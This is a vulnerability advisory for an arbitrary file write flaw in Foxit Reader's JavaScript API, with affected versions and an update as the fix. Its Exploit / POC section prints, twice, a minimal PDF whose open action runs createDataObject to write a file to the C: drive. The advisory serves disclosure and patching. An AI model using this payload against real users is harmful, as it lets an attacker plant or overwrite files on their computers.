Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
BID:46763
Info
Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
| Bugtraq ID: | 46763 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 07 2011 12:00AM |
| Updated: | Mar 15 2011 02:47PM |
| Credit: | Chris Evans (scarybeasts) |
| Vulnerable: |
Foxit Reader 4.1.1 Foxit Reader 3.1.1 Build 0928 Foxit Reader 4.1.1.0805 Foxit Reader 4.1 Foxit Reader 4.0 Foxit Foxit Reader 3.2.1 0401 Foxit Foxit Reader 3.2 0303 Foxit Foxit Reader 3.0.2009 .1301 Foxit Foxit Reader 4.3.1.0118 Foxit Foxit Reader 4.2.0.0928 Foxit Foxit Reader 4.1.1.805 Foxit Foxit Reader 4.1.1.0218 Foxit Foxit Reader 3.3.1.0518 Foxit Foxit Reader 3.2 Foxit Foxit Reader 3.1.4.1125 Foxit Foxit Reader 3.0 Build 1817 Foxit Foxit Reader 3.0 Build 1506 Foxit Foxit Reader 3.0 Foxit Foxit Reader 2.3 Build 3902 Foxit Foxit Reader 2.3 build 2923 Foxit Foxit Reader 2.3 build 2825 Foxit Foxit Reader 2.3 Foxit Foxit Reader 2.2 Foxit Foxit 2.0 |
| Not Vulnerable: |
Foxit Foxit Reader 4.3.1.0218 |
Discussion
Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
Foxit Reader is prone to a vulnerability that allows attackers to write or overwrite arbitrary files on a vulnerable computer.
An attacker can exploit this issue to create or overwrite arbitrary files on the computer running the affected application. This may aid in further attacks.
Versions prior to Foxit Reader 4.3.1.0218 are vulnerable.
Foxit Reader is prone to a vulnerability that allows attackers to write or overwrite arbitrary files on a vulnerable computer.
An attacker can exploit this issue to create or overwrite arbitrary files on the computer running the affected application. This may aid in further attacks.
Versions prior to Foxit Reader 4.3.1.0218 are vulnerable.
Exploit / POC
Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
The following exampel PDF is available:
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))>> trailer<</Root 1 0 R>>
The following Metasploit exploit module is available:
The following exampel PDF is available:
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))>> trailer<</Root 1 0 R>>
The following Metasploit exploit module is available:
Solution / Fix
Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
Foxit Reader JavaScript API Arbitrary File Creation or Overwrite Vulnerability
References:
References:
- Dangerous file write bug in Foxit PDF Reader (Chris Evans)
- Foxit Reader Homepage (Foxit )